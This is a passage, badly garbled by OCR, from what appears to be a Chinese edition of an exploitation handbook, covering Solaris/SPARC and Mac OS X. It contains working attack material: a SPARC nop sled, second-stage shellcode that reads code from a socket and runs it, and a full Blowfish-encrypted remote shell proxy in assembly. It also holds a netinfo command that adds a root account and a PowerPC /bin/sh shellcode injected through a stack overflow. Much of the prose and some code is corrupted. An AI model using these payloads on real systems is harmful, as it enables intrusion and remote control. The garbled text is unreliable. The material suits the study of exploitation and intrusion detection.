ANTTBEATRE Flnop. 5 THHIRER @7R: RAIIDLMHEEERFHEIMET, Hilkoxfac3ato
HBBA 16, 50.1 . cextX B RIfEdespeattiil 22 A R (13177 «
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FEMR figdbZ, TAMbtAARATRIRIE.

11.2  Solaris SPARC Hji HH B & Fhi% 15

IESITESE10% BT B MIARHE, 6 RT W SEHEAR A SR R SR R S S AE R N A I G AN AR
A, WRLERH (nop + shellcode) FIBMAABMABMHER P EHIKFZ —. KR_N
B, BERRATERBIXAN KT, HREEH, BITEREIL, XDFRTER—&IEE
4. WEEHE fEnop B X A HFA A “jump some byte forward” 3§54, B RIXHSE
WA K T I Ashellcode X EHAMA—FHFAM . M H F AT R Mnopes: REE
nopZR X 1 [ Y KA TN “jump forward” $54, TR T MInopik B B o7, THEAM
dtspedif A4 514 2 —Snop:

0x2¢7£8: bn,a  0x2c7£4
ox2c7fc: xor %11, %11, %12

EAHIGAL T A fEannualif & BN, BATKAEBL F—%xorfhd. Hsk, RINA
RAEKFHGxorfidZ—, Bk, ATLLEFSbME. PN R ERIX FnopBiX 2

HAiE .
TR AR BInopZ X (K BkE o
0%2c800: bn,a  Ox2e7fc
0x2c804: xor %11, #11, %12
0x2¢808: bn,a  0x2c804
0x2c80c: xor %11, 311, %12
0x2c810: bn,a  Ox2c80c
0x2c814: xor %11, #11, %12
0x2c818: bn,a  0x2c814
ox2cBlc: xor %11, #11, $12
0%2¢820: std #£62, [ $i0 + Oxlac )

|-> overwritten with the fake chunk's long word
O3RN O 0x2c 8003 B thr_jmp_table. EAMMUEAREHE THXHHLZ—,
TR ER Mxorti 4. B, BEEEIMRL), tREESIATERLH
TR — AN R Bl nop B X (KB «

0x2¢804: xor %11, %11, %12
0%2¢808: bn,a  0x2c804

0x2c80c: xor %11, %11, %12
0x2¢810: bn,a  0x2c80c

0x2c814: xor %11, %11, %12
0x2c818: bn,a  0x2c814

ox2c8lc: xor %11, %11, %12
0x2c820; bn,a  Ox2c8lc

0x2c824: std $£62, [ %i0 + Oxlac ]

BBOX YR Oyt S R ik ox2cs04. BRI RARINA, Bb KRB Txorit S
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2 BRI R TR . b T HME, B FEB TR RN, HAXER
HPFAT RN, MR R - REREAL I, R AERE B AR . FRRHUT acspcai R
LA R ARIG:

self.exploit((each+self.ldso_base}, self.retaddr_base)
self.exploit((each+self.ldso_base), self.retaddr base+d)

self.retaddr_base += self.increment

AR, BT retadar HI4 MM B LR TR K. EXPW, RONBRE D
retaddr_bass P BG4 IR T A xorti 4 . MARFEMBATAE, Mk B BX M bl
AIEH. BAEA BT IEEN A RB R (self.increment) INEIEH MMMl Kt WE Huhk .
TXABOARNG BT HE DO BEAR I T 5

AT 147 7 MR PR AE Qt spea % A8 A9 SPARC shellcode, BAMRE AT A% . XA
shellcode /B BN 4% B R SBTELHEF0 Lo RT3 Solaris $fF RL LEITH
dtspeakifl, XRIEHIK. TIHFIX shellcode A L3N RN A SLH H AR

SEB W

write(0, "/bin/ksh*, 8);

h T AR (B2 S, ETF R B AT ESE R MBAR T) S BRI T, shellcode
HEFFF# bin/ksh BRI RF A XK BABAR TSR IER S TR, PAZEARIEBFEAT
VRAT HEZER N AT 44 " /bin/keh T AR HABI FAFER R ? 258 Kom shellffy R & RATA AL
INA M successakowned:Z J )45 i 3 Mshellcodef KN . TATIH TSI exec () RG WAL
ARG, T4 2

K, WTH=S.

for(i=0; i < 3; i++)

fentl(0, F_DUP2FD, i);

BAVA KT 0 Hstdin, stdoutFstderr SRR TF .

HIEH =W,

exec("/bin/ksh", NULL);

X kA A Solaris/SPARCIRM RIshellIRAE BTG . IX ML A GEH 454 * /bin/ksh",
write () AFHH EMABMARBRIIEL RN T .

11.3 &% Solaris/SPARC shellcode

{E4EREX L, UNIX shellcode M A XELL I RYE VIR Se B A X E P RUBURSR T, 41
W, YRZEshell )5 P47 4% . connectback. findsoctetfilbindsocket shellcode¥ /& ¢ i
JEFA % Wishellcode, KZEREB &L T HIEAIshell Vi) . TEGH'S BEARI LR th 28 2
[l —shellcodet {4/ THFAE (KIDS ]~ R R 2% 55 40 B BIMAR TS o 47 1R B IL ACshellcode R M3 Bk
WERRIRAH T, HIDS] R 7EILRCHTIR L shell 55 % /¥ 2 M) 44338 ) fr & 7 AN AE R Rzh . SR
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VRAIDSHFAEFF RS, RATEA Jack Koziol 5 ) (SNORT A MISE AR ). XA
GMEMEAR, HmEHETHIRNRIAQHE Snortk E% .

Bitn, XFAZHIDSKBE, EML% ERH22. 80MI443%H O LAEMII X MUNIX A4 (n
uname -a. ps. idflls -1) #RBRES, B, JLPHTHMIDSEA AR K RMARIXHEH
B, fEAMIMS L, BRTEEEMSS (rlogin. rshy telnet), FRMZMARE Blid LI SC
FEMETUNIX B 4. IXEI AR BUCUNIX shellcode B AMIBEEG, B FEMGIHZ —.

LBATE—%K B Snort IDS (AR4:2.0.0) HIMEN.

alert ip any any -> any any (msg:"ATTACK RESPONSES id check returned

root";
content: "uid=0(root)” ; classtype:bad-unknown; sid:498; rev:3;)

%t 4y (9 B3 B B uia=0 (root) B, M MK XA HLN . Snort IDS H W M
attack-responses . rules"EH —EAEMHIF .

FEIX—, RATEA Hshellcode I HME . X T mAMELIBEN, RIHERHETF
w AR, M Yk 4 15 JI Kl SBfEfFEREES, RITERIR
THAEMUNIX shellcodef) 344t 77 9 1 2B 2430 f¥ishellocdeti R AL T 9 R BAT
(int 0x80, ta 0x8), MFFREAMESKVE, KRAIEHAMN. RUFEAL LN NRL
HEZE R R F RS S, AEMERR (APD SEkHAR. Win2BMFREFZHT
IR R B At R, R FHES AR HAPIESRK BB T (A
Windows i X X £ 5 RAT P I #38 .) BUFE, FHUNIX shellcodek ¥, f2i%H_dlsym()
_dlopen () SEBLGURTMIRHE T, Hodu flblowfishin @l {7 {51, 5% 7Eshellcode 7 flibpcap
BIUT L

BAVHEH = B iishellcode b3k FI AR, 95— Bishellocde L S 055, Yot~ By
shellcode B B HATHRHE . XA Hishellcodesy AMBBAHAT LME: Bk, WHRKEMA LB
FrBtfshellcode st B H (NBE 4 WAEBR: MR, JE58 — Bishellocde A BT AW AZIK R KR, Fil
FHXE LIRS RIE O T RARI), HUBLWETSANR, FEE, BN, RINZE
B EI = Bishellcode I M A5 B F M4 5 AR ARTFFER L, (UL, ZEBRBERTMIERWRE. T
R PSR AN AR T R 2278 1) 35 — Blshellcode:

/* assuming "sock® will be the network socket number. whether hardcoded
or found by getpeername() tricks */

/* grab an anonymous memory region with the mmap system call */
map = mmap(0, 0x8000, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANON | MAP_SHARED, -1,

0);

/* read in the second-stage shellcode from the network socket */
len = read(sock, map, 0x8000);

/* go over the mapped region len times and flush the instruction cache */
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0; i < len; i+=4, map += 4)
iflush map;

for (i

/* set the socket number in %il register and jump to the newly mapped region */
_asm_("mov sock, ¥i1');

£ = (void (*)()) map;
£(sock) ;
BAE, TR B RSPARCI 4 -
.align 4
.global main
.type main, #function
.proc 04
main:

| mmap (0, 0x8000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANON|MAP_SHARED, - 1, 0);

xor %11, %11, %00 ! %00 = 0

mov 8, 11

s11 %11, 12, %ol ! %0l = 0x8000
mov. 7, %02 1 %02 =7

s11 %11, 28, %03

or %03, 0x101, %03 ! %03 = 257

mov -1, %04 ! %04 = -1

xor %11, %11, %05 ! %05 = 0

mov 115, %g1 ! SYS_mmap 115
ta 8 ! mmap

xor %12, %12, %11 ! %11 =0

add %11, %00, %g2 ! addr of new map

store the address of the new memory region in %g2

! len = read(sock, map, 0x8000);
! socket number can be hardcoded, or use getpeername tricks

aad %il, #11, %00 ! sock number assumed to be in ¥il
add 811, %92, %01 ! address of the new memory region
mov 8, #11
s11 #11, 12, %02 ! bytes to read 0x8000
nov 3, sgl | SYS_read 3
ta 8 ! trap to system call
mov -8, %12
aad %92, 8, %11
loop:
flush 811 - 8 ! flush the instruction cache
cmp ¥12, %00 ! %00 = number of bytes read

ble,a  loop loop 00 / 4 times
add %12, 4, %12 ! increment the counter
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Jump:
!socket number is already in #il
sub %92, 8, %02
imp %92 + 8 ! jump to the maped region
xor %14, %15, 11 ! delay slot
ta 3 ! debug trap, should never be reached ...

MR /usr/bin/ trussHiEF, B ishellcodes =4 il FHfith -
mmap (0x00000000, 32768, PROT_READ|PROT_WRITE |PROT_EXEC,
MAP_SHARED |MAP_ANON, -1,

0) = OXFF380000
read(0, OXFF380000, 32768) (sleeping...)
read(0, "aaaaaaaaaaaa'., 32768) =43

Incurred fault #6, FLTBOUNDS $%pc = 0x84BD8584

siginfo: SIGSEGV SEGV_MAPERR addr=0x84BD8584

Received signal #11, SIGSEGV [default]

siginfo: SIGSEGV SEGV_MAPERR addr=0x84BD8584

*** process killed ***

AT, AT HA—MEZ WX (0x££380000) Flread () MstainBEA T aF 483
Bhie. PATATHTRT, RAMEEIsIcsEGY (BMB, BN 1Tox6 L PRSI AR,

AEH A 58— Bishellcode AR A B, HFLULREERATH Y], 28" Bishellcodeftis itk
RPAT S TR AMATICHRACHL Wshellcodek 5o i — T OTD, ICRHIRRR AETE 4T HUFEAR IE7E
REHAT.

- open() /usr/lib/ld.so.l (dynamic linker).

- mmap() ld.so.l into memory (once again).

- locate _dlsym in newly mapped region of 1d.so.1l
search .dynsym, using .dynstr (dynamic symbol and string tables)
- locate and return the address for _dlsym() function
- using _dlsym() locate dlopen, fread, popen, fclose, memset, strlen ...
- dlopen() /usr/local/ssl/lib/libcrypto.so (this library comes with openssl)
- locate BF_set_key() and BF_cfb64_encrypt() from the loaded object (libcrypto.so)
- set the blowfish encryption key (BF_set_key())
- enter a proxy loop (infinite loop that reads and writes to the network socket)

ARBRARER Ky P ACHD L X
- read() from the network socket (client sends encrypted data)
- decrypt whatever the exploit send over. (using BF_cfb64_encrypt() with
DECRYPT flag)
- popen() pipe the decrypted data to the shell
- fread() the output from the shell (this is the result of the piped command)
- do an strlen() on the output from popen() (to calculate its size)

encrypt the output with the key (using BF_cfb64_encrypt() with ENCRYPT flag)
- write() it to the socket (exploit side now needs to decrypt the response)
- memset () input and output buffers to NULL
- fclose() the pipe

jump to the read() from socket and wait for new commands
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FHEZIERE.
BF_shell.s -
.section “.texer
.align 4
.global main
-type main, #function
.proc 04
main:
call next
nop
tuse $il for SOCK
next:
add %07, 0x368, %i2 {functable addr
add %i2, 40, %00 1LDSO string
mov 0, %ol
mov 5, %gl YS_open
ta 8
mov. %00, %i4 1£4
mov %00, %04 1fa
mov 0, %00 INULL
sethi %hi (16384000), %ol tsize
mov 1, %02 1PROT_READ
mov. 2, %03 {MAP_PRIVATE
sethi *hi (0x80000000), %g1
or %91, %03, %03
mov 0, %05 toffset
mov 115, %91 1SYS_nmap
ta 8
mov. %2, %15 ineed to store functable to temp reg
nov %00, %i5 taddr from mmap()
adad %i2, 64, %ol t*_dlsym string
call find_sym
nop
mov. %15, %i2 trestore functable
nov %00, %i3 tlocation of _dlsym in 1d.so.1
mov. %15, %00 taddr
sethi %hi(16384000), %ol isize
mov 117, %91 1SYS_munmap
ta 8
mov. %14, %00 1£d

mov 6, gl 1sYS_close



11.3 %% Solaris/SPARC shellcode

%hi (0x££3b0000) ,

%i3, [ %i2 + 0 )

201

+ 4)

%ol

+ 8]

+12)

%ol

+ 16)

%ol

%ol

%02
%00

10x££3b0000 is 1d.so base in every process

taddress of _dlsym()
!store _dlsym() in functable

t*_dlopen” string

!store _dlopen() in functable

t*_popen" string

!store _popen() in functable

t*fread" string

tstore fread() in functable

t*fclose" string

Istore fclose() in functable

t"strlen* string

!store strlen() in functable

{"memset* string

!store memset() in functable

t_dlopen()

t*/usr/local/ssl/1ib/libcrypto.so® string

ta 8
sethi

add %i3, %00, %i3
st

mov. -2, %00

add %i2, 72,
call %i3

nop

st %00, [#i2
mov. -2, %00

add %i2, 80,
call %i3

nop

st %00, [%i2

mov -2, %00

add %i2, 88,

call %i3

nop

st %00, [%i2

mov -2, %00

add %i2, 96,

call 213

nop

st %00, (%2

mov -2, %00

add %i2, 104,
call %i3

nop

st %00, (%i2 + 20)
mov -2, %00

add %i2, 112,
call ®i3

nop

st %00, [%i2 + 24)
1d (%i2 + 4],

add #i2, 120,

mov 257, %ol

call %02

nop.

IRTLD_GLOBAL | RTLD_LAZY
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mov -2, %00

add %i2, 152, %ol !"BF_set_key" string

call %i3

nop

st %00, [%i2 + 28] !store BF_set_key() in functable

mov -2, %0

add %i2, 168, %ol !"BF_cfb64_encrypt" string

call *i3 tcall _dlsym()

nop

st %00, [%i2 + 32] !store BF_cfb64_encrypt() in functable

IBF_set_key (&BF_KEY, 64, &KEY);
!this API overwrites $g2 and %g3

Itake care!
add %i2, Oxc8, %02 ! KEY
mov. 64, %ol 64
add %i2, 0x110, %00 ! BF_KEY
1d [%i2 + 28), %03 ! BF_set_key() pointer
call %03
nop
while_loop:
mov. %i1, %00 1SOCKET
sethi *hi (8192), %02
Ireserve some space
sethi %hi (0x2000), %11
add 8i2, 811, %i4 ! somewhere after BF_KEY
mov %i4, %ol ! read buffer in %i4
mov 3, %gl | sYS_read
ta 8
cmp %00, -1 tlen returned from read()
bne proxy
nop
b error_out 1-1 returned exit process
nop
proxy:
IBF_c£b64_encrypt (in, out, strlen(in), &key, ivec, &num, enc);
DECRYPT
mov %00, %02 length of in
mov %i4, %00 ! in

sethi  ¥hi(0x2060), 11
add %i4, %11, %i5 lduplicate of out
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add %i4, %11, %ol ! out

add %i2, 0x110, %03 ! key

sub %01, 0x40, %o ivec

st %90, [%04] ! ivec = 0

sub %01, 0x8, %05 ! &num

st %90, [%05) ! num = 0

thmn stack stuff.. put enc [%sp + XX]

st %0, [¥sp+92] BF_DECRYPT 0

1a [(2i2 + 32], %11 ! BF_cfb64_encrypt() pointer

call  sl1

nop

mov %i5, %00 ! read buffer
add %i2, 192, %ol ! *rw* string

1a [%i2 + 8], %02 ! _popen() pointer
call %02
nop
mov %00, %i3 ! store FILE *fp
mov %i4, %00 ! buf
sethi %hi (8192), %ol ! 8192
mov 1, %02 35N
mov %i3, %03 ! fp
ia [#i2 + 12], %04 ! fread() pointer
call %04
nop
mov %i4, %00 tbuf
1a (%12 + 20], %01 !strlen() pointer
call %01, 0
nop

!BF_cfb64_encrypt (in, out, strlen(in), &key, ivec, &num, enc);

ENCRYPT
mov %00, %02 ! length of in
mov %i4, %00 tin
mov %02, %i0 ! store length for write(.., len)
mov %i5, %ol ! out
add %i2, 0x110, %03 key
sub %i5, 0x40, %04 ivec
st %90, [%04] ivec = 0
sub %i5, 0x8, %05 ! &num
st %90, (%05] { num = 0
thmm stack shit..... put enc (%sp + 92]
mov 1, 11
st %11, [¥sp+92) ! BF_ENCRYPT 1
1a [(%i2 + 32), %11 ! BF_cfb64_encrypt () pointer

call %11
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nop
mov %i0, %02 tlen to write()

mov %il, %00 1SOCKET

mov %i5, %ol buf

mov. 4, g1 ISYS_write

ta 8

mov %i4, %00 tbuf

mov. 0, %ol 10x00

sethi *hi (8192), %02

or %02, 8, %02 18192

1a (%12 + 24], %03 tmemset () pointer
call %03, 0

nop

mov %i3, %00

1d [%i2 + 16], %ol Ifclose() pointer
call %01,

nop

b while_loop

nop

mov 0, %00
mov 1, %g1 1SYS_exit
ta 8

following assembly code is extracted from the -fPIC (position independent)
compiled version of the C code presented in this section.
refer to find_sym.c for explanation of the following assembly routine.

[%00 + 32], %g3
202

[%00 + 48], %g2
%00, %93, %93

£1
cmp %02, %92
£3:
ada %02, 1, %02
cmp %02, %2
add %93, 40, %93
£1:
bge £2
s11 %05, 2, %g2
1 (%93 + 4), %q2
emp %92, 11

bne,a £3
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lduh [%00 + 48], %g2
1a (%93 + 24], %05
1d (%03 + 12], %03
s11 %05, 2, g2
£2:
1a (%00 + 32], %g3
adad %92, %05, %92
s11 %92, 3, %92
add %00, %g3, %g3
add %93, %92, g3
1d (%93 + 12], %05
and %00, -4, g2
add %03, 392, %04
add %05, %92, %05
£5:
add %04, 16, %04
£4:
1dub [%o4 + 12], %g2
and %92, 15, %g2
cmp %92, 2
bne,a £4
add %04, 16, %od
1a [%04], g2
mov %01, %02
ldsb [%02], %g3
add %05, %g2, %03
1ldsb (%05 + %g2], %00
cmp %00, %g3
bne £5
add %02, 1, %02
ldsb (#03], %g2
£7:
emp %92, 0
be £6
add %03, 1, %03
1ldsb [%02], %g3
1dsb (%03], %g2
cmp %92, %g3
be £7
add %02, 1, %02
ba 4
add %04, 16, %od
£6:
Jmp. %07 + 8
la (%04 + 4], %00
functable:
.word Oxbabebab0 !_dlsym
.word Oxbabebabl ! dlopen
.word Oxbabebab2 {_popen
.word Oxbabebab3 tfread
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.word Oxbabebabd I£close
.word Oxbabebab$ tstrien
.word Oxbabebabé imemset
.word Oxbabebab? 1BF_set_key
.word Oxbabebab8 1BF_cfb64_encrypt
.word Oxffffffff

LDSO:
.asciz “/usr/lib/ld.so.1"
.align 8

DLSYM:
.asciz "_dlsym
.align 8

DLOPEN:
.asciz "_dlopen”
.align 8

POPEN:

.asciz "_popen"
.align 8

.asciz "fread"

.align 8
FCLOSE:
.asciz “'fclose"
.align 8
STRLEN:
.asciz “strlen"
.align 8
MEMSET:
.asciz "memset"
.align 8
LIBCRYPTO:
.asciz "/usr/local/ssl/lib/libcrypto.so”
.align 8
BFSETKEY :
.asciz "BF_set_key"
align 8
BFENCRYPT:
.asciz "BF_cfb64_encrypt”
align 8
RW:
.asciz “rw
.align 8
KEY:
.asciz
w6fald67£32d67d25a31ee78e487507224ddcc968743a9cbB1c912a78ae0a0ead"”
.align 8
BF_KEY:

.asciz *12341234" {BF_KEY storage, actually its way larger
.align 8
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& fEshellcodeTEFE HIZFIMIARE, £ind sym() B—MIRMCHIRE, EAHRINMTBIARERE
FFRELH, BERIBFFSRMNFAHR. LK, SEMESFESREMAD, FHLHR
IR A F 1 B R B F R B bR, BBk R s

find_sym.c
#include <stdio.h>
#include <dlfen.h>
#include <sys/types.h>
#include <sys/elf.h>
#include <fentl.h>
#include <sys/mman.h>
#include <libelf.h>

u_long find_sym(char *, char *);

u_long
f£ind_sym(char *base, char *buzzt)
{

EL£32_Ehdr *ehdr;
E1£32_Shdr *shdr;
E1£32_Word *dynsym, *dynstr;
EL£32_Sym
const char

ehdr = (E1f32_Ehdr *) base;
shdr = (E1£32_Shdr *) ((char *)base + (E1£32_Off) ehdr->e_shoff);
/* look for .dynsym */

while( i < ehdr->e_shnum) {

if (shdr->sh_type == SHT_DYNSYM) {

dynsym = (ELE32_Word *) shdr->sh_addr;

dynstr = (EL£32_Word *) shdr->sh_link;

//offset to the dynamic string table's section
header

break;

shdr++, i++;

shdr = (E1£32_Shdr *) (base + ehdr->e_shoff);
/* this section header represents the dynamic string table */
shdr += (E1£32_Word) dynstr;
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dynstr = (E1£32_Addr *) shdr->sh_addr; /*relative location of .dynstr*/

dynstr += (E1£32_Word) base / sizeof (E1£32_Word); /* relative to virtual */

dynsym += (E1£32_Word) base / sizeof (E1£32_Word); /* relative to virtual */

sym = (E1£32_Sym *) dynsym;

while(1) {

/* first entry is in symbol table is always empty, pass it */
sym++; /* next entry in symbol table */

if (ELF32_ST_TYPE(sym->st_info)

continue;

= STT_FUNC)

sl = (char *)

((char *) dynstr + sym->st_name);
s2 = buzzt;

while (*sl == *s24+)
if (*sl++ == 0)

return sym->st_value;

11.4 NG

AT, BAVRL PHIAT B RERT, /4 T FIFSolarishiF i1 38— FCIE T H 977 ¥ o
A5, BABEMNG T I fiblowfish shellcode, T AT LLARME% 7+ P IDSERIPS o



H12E

acintosh (JLHSE0S X) HLAHHAREIEBMEPC, W FEPBSI A

Mac OS X#HATLITR, BAFXXGRATLAF X, AHRASEGRMKER, H
LVE L EEE UEZS N x&#mmwﬁ‘uﬁm B W E AT B PCH) AR 7 Ao I 3%
4. (4 8 http: apple.
Mac OS XEAH T Hishmikitey, Bk, r%mmaﬁ#ixt&ﬁﬁv E3 T
Y sk, (4 & http:/www.apple.com/getamac/. )

BRI R B, RICEWAATR, A RARAMLOS XRNLRT X, EXET)
H T A ARB0E, XA BN, R, BADERMNN, SERMRTHH. BT
$RATHE . HecookieFIASLR (Address Space Layout Randomization, Windows VistaBRiA Jei FHIX Mk,
A~ B Linux RATRCF T LA B A9 BHY) %7 7% /5 T WindowsHILinux t R #3E .

AHENAOAALFEERATOS XBERLNEAH R, 0S X LPowerPCHilntel shellcode
HORERBSAIALLRAEOS X L4 il bughtf 75 2 B0 ) — 2

121 OS X#iZBSDMg

YRR, B BRALR . RAOTATLUEOS XA RS FRAE RGR AT — 51t “URMLIL
BRGSGERFERFHES QU —ETCANTIRAT) WA, 0S XEEHMRFH
RIGAE, KEHERPH—EEEREAT, bH—EREFMN.

08 XFIZMRAHMac OSH —LE . BN M AR T MachIBSDI), MSLEH BINE
P, ATLURIR E1 201 080LEARBE NI 19974F 3 A T WUWINeX T Uk, & B ENEXTSTEPH)
PRI OS XE19994: 4 i Mac OS X vI0.OERX S5, BIA T MM, EHIRARVI04.9.
AR FITE20054F6 A BIAT, EHE20074E4E IR Z AT HT A HiMac B Blintel ¥ & |, {8
08 XHLZEYS 1] LAZEPowerPCHlIntelab B 88 13E1T «

BT IMAF “Aqua” ULEMISh, OSXHSA —UNIXKIEIE, X3l T eI
AR AT —EFRIH . LA, 08 XM /G T WindowsHILinux. ‘&8 Hcookie
4, WAL, BRAERS VLR SSAARR, HANTREX ZEM L
EH—EFV. OS XBERZA W RABIKEE . B % LM HE, #HRPE.

OS X shellc ‘é
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BAROS XSHFRBFE = M REE, A8 HEHSF R RHFS+ CERAYRATHOH
RERIM R
122 OSXZEFIR

WSS TE— SRR LR TR, TEhttp:/iw apple i ARGVt
#|0S X (“Darwin”) 1N BRI

KPR E T xou CEREMach/BSDIIAZ) URKRMA R4, LR
RAFFFRN, WHSMONRSBF TR E F . XERIEHIEE, EART AR
BERAT .

WA, AMIXERAT M ITFWEIEE — L7 EEEEBNME OpenDarwinifl H
(http://www.opendarwin.org/) DEEILT, ELFIXMAHKEdh, F—PRVIT “HHH
WRHE, SERATFHARMZENEARR, MLIGIFRERERRI, TR HERZ NS,

FH—ANIAE B #9508 XA7 X R K IR B &£GNU-Darwin, B 487E— & 1 H W Darwinff)
fie 1 SONUA & Hi 4 k.

40 SRARHE % % 1 Darwin, JRZVHEIFVR T #%— F DarwinBuild3Ji H . 7] BL7E]
org/projects/darwinbuild/ - R F) %51 H .

T3 — 55 Macy K[ FF U5 R 5 & MacForge Chttp:/www.macforge.net/), ‘B34 T A LAZEMac
LTI H %S

12.3 UNIX 3Z##9 0S X

ST Linux I AKBE, HIRAEAIOS X AT 2 A% EL ARk 8 . UNIXE AP i B i
REGHE AR, LR TERRBERT? "
RAVEAF XM RGN .

Linux 0sX
Jete/initd/ [Library/Startupltems
=®
/System/Library/Startupltems
/home/ IUsers/
Jmny Volumes/
<core dumps> Jeores/
Jproc/<pid>/maps vmmap TH

KTFOS XA —AUREHE, HERENRERE (HIW5/etc/passwordhl/etc/shadow
ORI B ) HARAEAE SR BIFR Ay Netinfolfy B FE B . Bt 3 L AORAT ) X — 445
Bitu, AfeMcat /etc/shadowiRER# TSI .

S ARLEH WA “HNFTMES " WishellcodeR B, W5l BARAFAERURAE R 2B EE A, B
F ¥R 475 1 #% F Directory Services APIENetInfofir &47 T INIK S . “B-r00t” (“Smashing The
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Mac For Fun & Profit” (4 S5 ({2 ) M IEAT FEUKAE A0 fr 4T K Mrooe ik & GERHniload
T D

/bin/echo 'r00t::999:80::0:0:x00t:/: /bin/sh* |/usr/bin/niload -m passwd .

HIBR R

RBIE, Netlnfollh Fe T 46 ) 3O 1 e ARAFAESCHE RS, ATLLE M /private/var/
db/netinfo/FiEM, REFIXTEEA r0othEAL.

102K LARIRRAHIOS X L FIDESH R (RAF RS IUME, I LIk 71 B2 HiNetinfo Rk a i
St

Apple:/private/var/db/shadow/hash root# nidump passwd .
:Unprivileged User:/var/empty:/usr/bin/false
:System Administrator:/private/var/root:/bin/sh
:System Services:/var/root:/usr/bin/false

103fRAAEHE I MBI LL “shadowed” (I RARAZE /var /db/shadow/hash H 3%, JE#
SUEIRAFAEAGUID R SO 44 (930 L. 384T F TS RE ) fir & R 7T LR Blusers X R fIGUID:

nidump -r /users .

TEI03MA R, FMEFUGIH M ENT LanMan MD44 3, 3 HZEREHIN T € MSHA LK
B 104084 B IBHISARAFERBEIIALE (/var/db/shadow/hash), {ERZEF TN
[ty (salted) SHAl%.

12.4 OS X PowerPC shellcode
RAFXEWRRVUT, RATKIF IR, BB RF H R, W% Mac |- #9PowerPC
shellcodeILinux £ fjIntel shellcode 3 {77 7@, R APowerPCHITEAI T .
TR — BRI

// stack.c

#include <stdio.h>
#include <stdlib.h>

#include <string.h>

int main( int arge, chdr *argv(] )

char buff[ 16 ];

if( arge <= 1)
return printf(*Error - param expected\n®);

strepy( (char *)buff, argv(l] );

return 0;
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[RAI#ELinux LA —HE, FlgecRPBXAMEF:
Apple:~/chapter_12 shellcoders$ cc stack.c -o stack
SR AN MR P B B RUETE
Apple:~/chapter_12 shellcoders§ ./stack AARABBEB
Apple:~/chapter_12 shellcoders$ ./stack

EMARFHRZE, HFRHEICAMBRNES (e8I b, SR aKnEHFs
T RER FEAEF BB, FR—E KOS,

Apple:~/chapter_12 shellcoders§ ./stack

Apple:~/chapter_12 shellcoders$ ./stack
111 21

Segmentation fault

A T IR S MARFE AR El Stk -
Apple:~/chapter_12 shellcoders$ gdb ./stack
(gdb) set args

(gdb) run
starting program: /Users/shellcoders/chapter_12/stack

111 23
Reading symbols for shared libraries . done

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0Ox4d4dddéc
0x4d4ddddc in 22 ()

BN T, RATEE ) THATH, SR EFTRIEE R RNBBO TR, AHE
TR A AR, RN, SilshellcodeiB TN, A7 MR M 0xedddddaciE
KRN TERMKIEMALTE (PowerPC) |, FHSMKAER2ML, D32 HA AT, Hit,
% ox4q4asdads S RAF IR ML, P5MEATH 288 T, 2 EBER oxeadadade.

BAIHF B AL (¥ shellcode 3 [ B-r00t-T-2003 4 & % (¥ L F “ Smashing The Mac For Fun &
Profit”  (Whttp. i PC_OSX_Shellcode_A ). FJE AR
FOXBACT I B R LA, BAE LA BN AT

BT LR B M IR, RA1EH Enoph i (sled). Hil, RAIABEmMAIES
0x7c631a79% 4 Frop, it BL, EAEREH RYATFTIRIER B . BHitk, RA1L7Eshellcode
WTTBAR 23 44«

BATHRL, BIOE P Bhovdl), 81T F Ty & 07T LABKSE BIE T -

./stack $(printf “%048x\x40\x40\x40\x40")

WAL, RAULASD “0” LA HBEBIMMI A R DR H, RREEENHSTERIR
T o Mlprintef & MiE, ZATEREMET, FXEARFAHNERRTE. mRAeR
nopHith, ATLME R ML, T HITnopti €40 000K:

for ((i=0;i<40000;i++))do printf *\x7c\x63\x1a\x79"; done;
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R, EREH R SLinu/IntelfIHLER—H, RIATRERETIF, EAPowerPCR
big-endian.

4 fishellcodetn F Fn:

printf

"\x7c\x63\x1a\x79\x40\x82\x££\x£d\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xf

£Axf£\x02\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x5

4\x38\x63\xfe\xf4\x90\x61\xf £\x£8\x90\xal\xf£\xfc\x38\x81\x££\x£8\x3b\xc

0\x01\x47\x38\x1e\xfe\xf4\x44 \x££\x£ £\x02\x7c\xa3 \x2b\x78\x3b\xc0\x01\x0

d\x38\xle\xfe\xf4\x44\x££\xE£\x02\x2£\x62\x69 \x6e\x2£\x73\x68"

BETREMER R, 0 — ML FnopttBHE KA. F—FH—/MRbite
BN imain () A ALLE:

Apple:~/chapter_12 shellcoders$ gdb ./stack

(gdb) break main

Breakpoint 1 at 0x2ad0

(gdb) run

Starting program: /Users/shellcoders/chapter_12/stack

Reading symbols for shared libraries . done

Breakpoint 1, 0x00002ad0 in main ()

(gdb) info frame 0

Stack frame at Oxbffffa80:

pc = 0x2ad0 in main; saved pc 0x2308

SLinux AR, YW F oxbef f<nnnn>.

K IEAES Minopt #4160 000B, FTEA, AT LMEBLACEIATAL kL L 0xbE £ £ £aB0 BRI MR
MR M OxbELa040aTFHAIE . R T EIXFF L HEM 1T S M

<padding>

<saved return address>

<nop sled>

<shellcode>

BATHRIMT (RAFMIE Bt R R

Apple:~/chapter_12 shellcoders$ ./stack "$(printf

"$048x\xbE \xfa\x04\%04" ) $ (for ((i=0;1<40000;i++))do printf

"\x7c\x63\x1a\x79"; done;)$(printf

*\x7c\x63\x1a\x79\x40\x82\x£ £ \x£d\x39\x40\x01\x23\x38\x0a\xfe\x£4\x44 \xf

£AxE£\x02\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x5

4\x38\x63\xfe\xf4\x90\x61\x££\xEB\x90\xal\xff\xfc\x38\x81\xff\x£8\x3b\xc

0\x01\x47\x38\x1le\xfe\xf4\x44\x£ £ \xf£\x02\x7c\xa3 \x2b\x78\x3b\xc0\x01\x0

d\x38\xle\xfe\xfa\x44 \xf£\xff\x02\x2£\x62\x69 \x6e\x2£\x73\x68") *

Illegal instruction

LiRAREAL . T4 \ X \x£D\x04\x04 HI\xbf \xfc\x04\x04IR—F, T LLAE]:

Apple:~/chapter_12 shellcoders$ ./stack *$(printf
"$048x\:bE\xEC\x04\%04" ) § (for ( (i=0;1<40000;i++))do printf
"\Xx7c\x63\x1a\x79"; done;)$ (printf
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"\x7c\x63\x1a\x79\x40\x82 \x££\x£A\x39\x40\x01\x23\x3B\x0a\xfe\xf4 \x44 \x£
